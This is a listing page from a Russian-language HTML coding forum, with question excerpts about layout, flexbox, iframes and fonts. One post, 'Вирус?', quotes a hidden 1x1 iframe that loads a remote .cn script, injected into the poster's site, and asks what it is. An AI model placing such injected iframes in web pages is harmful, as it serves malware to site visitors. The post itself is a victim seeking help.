Jump to content

HTML Coding

Subforums

  1. Discussion of works

    Source code audit and recommendations

    30.1k
    posts

  2. Practise Templates

    Templates for self education and practise

    1k
    posts

Explore Questions

There are no popular questions to show right now

  1. Вёрстка футера на движке Xenforo

    Asked by Mondeus,

    0 votes
    0 answers

  2. Примеры верстки

    Asked by torsar,

    0 votes
    0 answers

  3. Список покидает див

    Asked by DeZ,

    0 votes
    0 answers

  4. Проблема с шириной ячеек

    Asked by ArrogantSpectator,

    0 votes
    1 answer

  5. Html кнопка

    Asked by НикитаL,

    0 votes
    3 answers

29542 questions in this forum

  1. Flecbox менюшка

    Всем здравствуйте. Подскажите как правильно сверстать менюшку для смартфона (примерно как на рисунке). Нужно чтобы иконки выстраивались по три штуки в ряд, в три строки. Пытаюсь использовать Flexbox, но проблема в том, что иконки в контейнере subContent накладываются одна на одну по центру http://codepen.io/anon/pen/BLWvwj даже уже другая проблема с отображением в сафари, иконки не по центру, а прижаты к левому краю

    Asked by Mixail.09,

    0 votes
    1 answer

  2. Проблема с вёрсткой шапки

    Здравствуйте! Имеется сайт, на котором хочу сделать шапку, но столкнулся с такой проблемой. Код страницы (header и есть сама шапка) Скрытый текст <!DOCTYPE html> <html> <head> <title>NormalGame Project</title> <meta charset="UTF-8"> <script type="text/javascript" src="//vk.com/js/api/openapi.js?146"></script> <link rel="stylesheet" href="style/main.css"> <link rel="icon" href="favicon.ico" type="image/x-icon"> </head> <body> <header> <div id="logo"> <a href="h…

    Asked by 666FoX666,

    0 votes
    2 answers

  3. надо скрыть текст

    я написал кучу текста после которого идет код страницы, ссылающийся на этот текст, надо скрыть этот текст, я не программист прям совсем

    Asked by IVAN99999999,

    0 votes
    1 answer

  4. Вирус?

    На главной странице своего сайта (на Народе), сразу после обнаружил такую вещь: <IFRAME style="VISIBILITY: hidden" src="updateservernet.cn/tank.php" width=1 height=1></IFRAME> Что это за штука, и как она могла попасть на мой сайт? Этот код я удалил. И пока вроде никаких приложений к нему не нашел. А могут к нему быть приложения? Может мне повнимательнее нужно искать?

    Asked by Никола,

    0 votes
    2 answers

  5. Работа с float

    <style> html{ height: 100%; } body{ height: 100%; } #block1{ overflow:hidden; _height:1%; } #block1 div{ float: left; width: 50%; } </style> <div id="block1"> <div class="left"> text </div> <div class="right"> text </div> </div> дивы left и right распологаются в одну строчку. свойства overflow:hidden; и _height:1%; заданны что бы див block1 увеличивался в высоту до размеров вложенных блоков overflow:hidden; для нормальных браузеров _height:1%; для эксплорера из за того что высота html и body задана ( что бы можно было работать с высотой блоков на странице в процентах) _height:1%; для эксплорера …

    Asked by jangot,

    0 votes
    1 answer

  6. Заставляем работать селекторы!!!

    Вот ума приложить не могу... Нашел скрипт, который позволяет работать :hover для IE. На одном проекте все заработало... но на другом стоит клином. Подключаю след. образом, описанном в приложении к скрипту: body { behavior:url("./res/js/csshover.htc"); } Понял, что проблема еще может быть в div.menu li:hover ul, и .menu li:hover ul... Но втыкать во всю фишку этого дела... нет времени... Возможно у кого-то есть лучше вариант с селекторами, или покажите как правильно) Заранее спасибо!

    Asked by Maslakoff,

    0 votes
    2 answers

  7. Вывод картинки в iframe по ссылке.

    Окно браузера разбито на два фрейма(menu и content).В одном(menu) находятся ссылки,во втором(content) открываются картинки по ссылкам. Можно ли в content разместить iframe(name="IFRAME"),в котором будут открываться картинки по ссылкам?Я в теге<a>указываю target="IFRAME" но картинка открывается в новом окне.

    Asked by lokky,

    0 votes
    2 answers

  8. граница между рисунками в Опера и Фоксе

    Имеется таблица из 4-х частей: 1 2 3 4 в каждую грузится часть картинки. Вертикально никаких границ нет, горизонтально между 1-й и 2-й строкой таблицы (и соотв. между рисунками [1-2] и [3-4]) в Опере и Фоксе видна граница. IE всё нормально. Всевозможные бордеры поставил в 0. В чем может быть проблема ?

    Asked by revresbo,

    0 votes
    1 answer

  9. Гиперссылка из фрэйма

    На странице есть фрэйм с другой страницей, на которой находится гиперссылка. Она должна должна пересылать юзверя в новое окно на туже страницу, и что во фрейме, при этом не обновляя ее. Как это можно осуществить? Джава-скриптом?

    Asked by creativonly,

    0 votes
    7 answers

  10. меню уезжает

    Пытался сделать менюшку, вроде получилось, только она почему-то съезжает. http://srv19341.ht-test.ru/index.php .menu ul { list-style:none; } .menu li { width:80px; float:left; position:relative; } .menu li ul { display:none; position:absolute; z-index:1; } .menu li a{ padding:5px; text-decoration:none; color:#CCC; padding:2px; border:1px solid #666; display:block; border-collapse:collapse; } .menu li a:hover { background:#666; } .menu li:hover ul, li.over ul { display: block; } Если честно последний пункт я просто слизал. Что значит li:hover ul, li.over ul ? И почему не работает border-collapse:collapse; ?

    Asked by sh1va,

    0 votes
    2 answers

  11. Картинки вместо bullet points

    Собственно как?

    Asked by Silentium,

    0 votes
    3 answers

  12. Элементы списка

    ситуация следующая: есть неупорядоченный список (id="content_links") с тремя элементами, содержащими ссылки. этот список я преобразую в строковый элемент, тем самым получаю горизонтальную навигационную панель. как упоминалось выше, ссылки всего три. мне надо добиться такого эффекта, чтобы вторая ссылка(id="middle") быть ниже остальных. получаем следующий код XHTML: <ul id="content_links"> <li><a href="#">Cunsumer</a></li> <li id="middle"><a href="#">Communications</a></li> <li><a href="#">Enterprise</a></li> </ul> код CSS: #content_links{ margin-top: 100px; border:1px so…

    Asked by LeD4eG,

    0 votes
    6 answers

  13. Появление отступов

    Здравствуйте! При изменении масштаба появляются пробелы между резаными картинками, как от этого избавиться? Вторая проблема связана с кнопкой в слайдшоу, левая кнопка в разных браузерах отображается в разных местах, в опере глубже, в хроме сверху, а в мозиле нормально, потому что как раз верстал под Mozilla. http://testinsidesquad.seopremier.com.ua/ Заранее спасибо, с уважением Андрей!

    Asked by Vendetta-V,

    0 votes
    8 answers

  14. применение text-transform: uppercase

    пару раз получал такой совет от верстальщиков. если нужно вывести строку заглавными буквами, то стоит её написать строчными буквами(первая - заглавная), но в через css задать text-transform: uppercase. скажите, если ли хоть какой то смысл в таких манипуляциях с точки зрения семантики?

    Asked by cyklop77,

    0 votes
    3 answers

  15. Сдвигается шапка при маштабировании

    Столкнулся с такой проблемой: Шапка в разных браузерах немного съезжает. Т.е. в Файрфоксе нормально выглядит, в Хроме съезжает влево буквально на 1-2 пикселя, но это очень бросается в глаза. Причем если маштаб увеличить или отдалить, то при некоторых вариациях и до 10 пикселей съезжает. Сайт lodki-sibiri.ru Скриншот этого глюка : hxxp://lodki-sibiri.ru/oshib.jpg Очень прошу помочь. Уже и min-width прописал и по центру выравнивал, но не помогает. Может ошибка даже не в шапке а в центральном блоке и сайдбаре...

    Asked by dess81,

    0 votes
    10 answers

  16. Резиновость сайта

    Вроде поменял всю ширину на 100% , а все равно сайт не резиновый!! Вопрос кэш очищать в этом случае надо? body {margin: 0 0 0 0;padding: 0 0 0 0;background: #e0e0e0; color:#0040a0; font-family: "Times New Roman", Times, serif;font-size: 20pt;} table{border:3px; border-color: #204090; border-collapse:collapse;} table td{padding:0px; vertical-align: top;} table tr{margin: 0 0 0 0;padding: 0 0 0 0;} img{border: 0;margin: 0 0 0 0;padding: 0 0 0 0;} ol, ul{text-align: justify;font-size: 12px;padding-left:20px;color:#20b040;} li{text-align: justify;font-size: 12px;} p{text-align: justify;font-size: 12px;} p.pc {text-align: center;} p.pcb {text-align: center; font-weight: bold;}…

    Asked by bsuir,

    0 votes
    5 answers

  17. Как сделать image на все окно браузера?

    Вставил картинку через "<img></img>" на страницу, но она не захотела располагаться от левого верхнего пиксела страницы. Получился зазор. Скрин ниже: Подскажите, как можно это исправить? Дополнительный вопрос: Существует много сайтов, где нет необходимости скроллить - все умещается в рамки одного экрана, причем не видно чтобы фоновый рисунок, который является цельным, а не размноженной текстурой и.т.п., увеличивался при просмотре на большом мониторе. Например: http://www.thewildernessdowntown.com/ Подскажите, каким образом этого можно добиться?

    Asked by Feel,

    0 votes
    12 answers

  18. div выходит за рамки

    Итак, у меня есть ГС на козе, взял я стандартный диз, решил переделать. Корректно работает только на IE, на остальных браузерах(уже изменённая версия) лагает, где в блок входит, где перепрыгивает. Мой ГС. <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <title>$SITE_NAME$ - $MODULE_NAME$</title> <?$META_DESCRIPTION$?> <link type="text/css" rel="StyleSheet" href="/_st/my.css" /> <link type="image/x-icon" rel="icon" href="http://cpp-lessons.ru/favicon.ico"> <link type="image/x-icon" rel="shortcut icon" href="http://cpp-lessons.ru/favicon.ico"> </head> <body> $ADMIN_BAR$ <…

    Asked by mokAh,

    0 votes
    2 answers

  19. Документация для верстальщика под 1С Битрикс

    Подскажите пожалуйста, где можно найти хорошую документация для верстальщика под 1С Битрикс, как правильно под 1с верстать, очень надо, помогите ( хочется посмотреть на примере)?

    Asked by Sergey410,

    0 votes
    1 answer

  20. Создание таблицы

    Здравствуйте форумчане. Я учусь в 11 классе. По информатике нам задали сделать простой сайт. Ситуация такова - сказали сделать, но толком не объяснили как, и в процессе появились вопросы. В общем у меня одна проблема с таблицей как ее проще сделать.Нужно ли вводить CSS? Через <tr></tr><td></td> не получается, либо я что то не так делаю.Прикрепляю картинку как должно быть.http://imgur.com/R9CBSvw

    Asked by Titovik,

    0 votes
    8 answers

  21. Вопрос по шрифтам

    Всем доброго времени суток! Я решил подключить собственный шрифт в шаблон, но задался вопросом имея 5 расширений для шрифта (ttf-woff-eot-svg-otf) и подключая их скачиваться будут все или только необходимые? тоесть если нужен ttf то он и скачается, а остальные проигнорируются? и как быть если браузер поддерживает скажем и ttf и woff и eot он все три скачает или только один?

    Asked by green-vik,

    0 votes
    7 answers

  22. Дополнительная линия у фона

    Добрый день, гуру верстальщики Намучился с непонятным багом с которым столкнулся впервые. Есть две проблемы в шапке и подвале к фону добавляется линия. В начале подумал у boostrapа рамки, но оказалось нет все равно по отключал (boorder:none !important;) но не помогло. Через компьютер нормально, через телефон galaxy s6 стандартный браузер "Интернет" появляется линия. Собственно сами косячки: Отключаю фон, соответственно и линия пропадает, так я понял что дело в фоне. После думал что вырезал косячно сам элемент, но и тут все норм нарезал разных вариантов jpg, png без разницы все равно не пропадает. сам сайт dpk . kz буду очень признателен если кто…

    Asked by musulman,

    0 votes
    2 answers

  23. каким способом можно в страницы добавлять к примеру титульную часть лого и банер , которые на всех страницах одинаковые

    Доброе утро каким способом можно в страницы добавлять к примеру титульную часть лого и банер , которые на всех страницах одинаковые , чтобы при случае изменения менять только в одном месте Спасибо

    Asked by bgraf,

    0 votes
    5 answers

  24. width100%+pad

    XHTML: <div class="b-0">bla-bla-blablabla-bla-blablabla-bla-blabla</div> <div class="b-1"> <div class="b-2"> ................ <p>bla-bla-blabla-bla-blabla-bla-blabla-bla-bla</p> <div class="b-3">bla-bla-bla</div> ....................... </div> </div> CSS .b-0 {float:left; widht:200px;} .b-1 {margin-left:200px;} .b-2 {padding:0 50px;} .b-3 {background:#0f0} Вопрос! Как сделать чтобы блок .b-3 прилипал к краям .b-2? не забывайте про ие6.. для p ничего не пишем..т.к. много различных блоков может быть внутри .b-2, надоест для каждого писать padding мне нужно общее решение. .b-3 может быть в любом мес…

    Asked by Lincky,

    0 votes
    7 answers

  25. При наведении на ссылку выполнялся класс div'а

    Добрый вечер. Подскажите как реализовать при наведении на ccылку <a href="#">text</a>, выполнение класса class="logolittle", который находится в диве <div class="logolittle"></div> (..у меня в диве находится класс, который выполняет плавную смену картинки при наведении, а я хочу чтобы эта картинка плавно менялась при наведении на ссылку с текстом) Я понимаю, что это организуется через onmouseover, только как, не могу допетрить ). Буду благодарен за помощь.

    Asked by arthyrgrex,

    0 votes
    7 answers
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. See more about our Guidelines and Privacy Policy

  I accept